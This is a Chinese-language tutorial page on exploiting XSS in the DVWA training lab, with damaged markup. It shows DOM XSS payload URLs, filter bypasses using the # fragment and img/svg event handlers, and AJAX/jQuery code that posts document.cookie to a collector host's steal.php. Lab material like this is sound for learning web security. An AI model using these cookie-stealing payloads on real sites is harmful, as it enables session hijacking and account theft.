网络安全检测|网络安全服务|网络安全扫描-香港墨客投资移动版

主页 > 业界资讯 > ddos防御

通过DVWA学习XSS(3)

', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); //mysql_close(); } ?>

主要过滤的地方有

$message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); $message = htmlspecialchars( $message ); $name = str_replace( '

我们从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点

构造payload::8080/DVWA-master/vulnerabilities/xss_d/?default=%3C%3Ealert(%22xss%22)%3C/%3E,弹框证明有xss的存在,浏览器在解析html dom树时就会触发js弹框代码

通过DVWA学习XSS

接下来利用dom xss获取网站的cookie,构造连接

:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E

用标签加载远程服务器上我们编写的获取网站用户cookie的js代码,和之前的一样利用ajax

通过DVWA学习XSS

var url = "http://192.168.50.156/dvwaxss/steal.php"; var postStr = "data="+document.cookie; var ajax = null; if (window.) { ajax = new (); } else if (window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else { ajax=null; } ajax.open("POST", url, true);//true代表异步 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了,也就是当前目录下的steal.php

"; } mysql_close(); } ?>

steal.php将我们获取到的cookie存到数据库中

可以看到数据库已经接收到了网站用户的cookie

通过DVWA学习XSS

同样的还可以使用juery ajax,构造连接

:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C%20src=%22%22%3E%3C/%3E%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E

代码如下

$(document).ready(function(){ $.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie}); } );

通过DVWA学习XSS

通过DVWA学习XSS

同样接收到了cookie

medium级别

前端代码如下,和low级别的一样

但是后端代码对url的default参数的值做了限制

不允许出现标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过

这里的绕过有两种方式

方式1

url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为

:8080/DVWA-master/vulnerabilities/xss_d/?#default=%3C%3Ealert(%22xss%22)%3C/%3E

可以看出成功绕过

通过DVWA学习XSS

方法2

或者就是用img标签或其他标签的特性去执行js代码,比如img标签的事件,构造连接

:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20=alert(%22xss%22)%3E

注意这里要闭合option以及select标签,这样做会破坏页面结构,隐蔽性不如第一种方法,同样的标签还有svg等,比如

:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20=alert("xss")%3E

svg的事件同样可以在页面加载时执行js代码,产生弹框的效果,同样的标签还有好多

下面我们用这些方法加载远程js脚本获取网站用户的cookie(发送cookie的代码用juery)

:8080/DVWA-master/vulnerabilities/xss_d/#?default=%3C%20src=%22%22%3E%3C/%3E%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E

img标签事件加载

(责任编辑:admin)